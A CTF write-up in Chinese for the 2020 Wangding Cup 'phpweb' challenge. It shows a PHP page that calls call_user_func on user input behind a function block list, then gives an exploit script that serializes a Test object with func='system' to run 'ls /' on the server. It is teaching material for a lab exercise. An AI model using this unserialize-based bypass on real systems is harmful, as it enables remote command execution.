[网鼎杯 2020 朱雀组]phpweb

知识点

反序列化

审题

查看源码 发现了好东西 诶一个隐藏的按钮 本来想着改一下HTML 但是发现这一直刷新 于是抓了个包 抱着试一试的心态 随便改了个func后面跟的东西 发现了call_user_func()

这可是好东西 说明date变量后面跟的就得是函数 p是这个函数的参数 喜出望外cat /flag 头都被打烂 题目没有那么简单 于是我们先highlight_file一手index.php 拿到源码

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

看到了一大串过滤我就知道直接getshell是不可能了 但是我们可以通过反序列化来绕过过滤 因为没有过滤unserialize这个函数 并且在反序列化之后 __destruct之后会调用到gettime

EXP

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $a = new Test();
    $a -> p = 'ls /';
    $a -> func = 'system';
    echo (serialize($a)); 

然后burp一下

接下来慢慢找慢慢改就行了 就好办了

EOF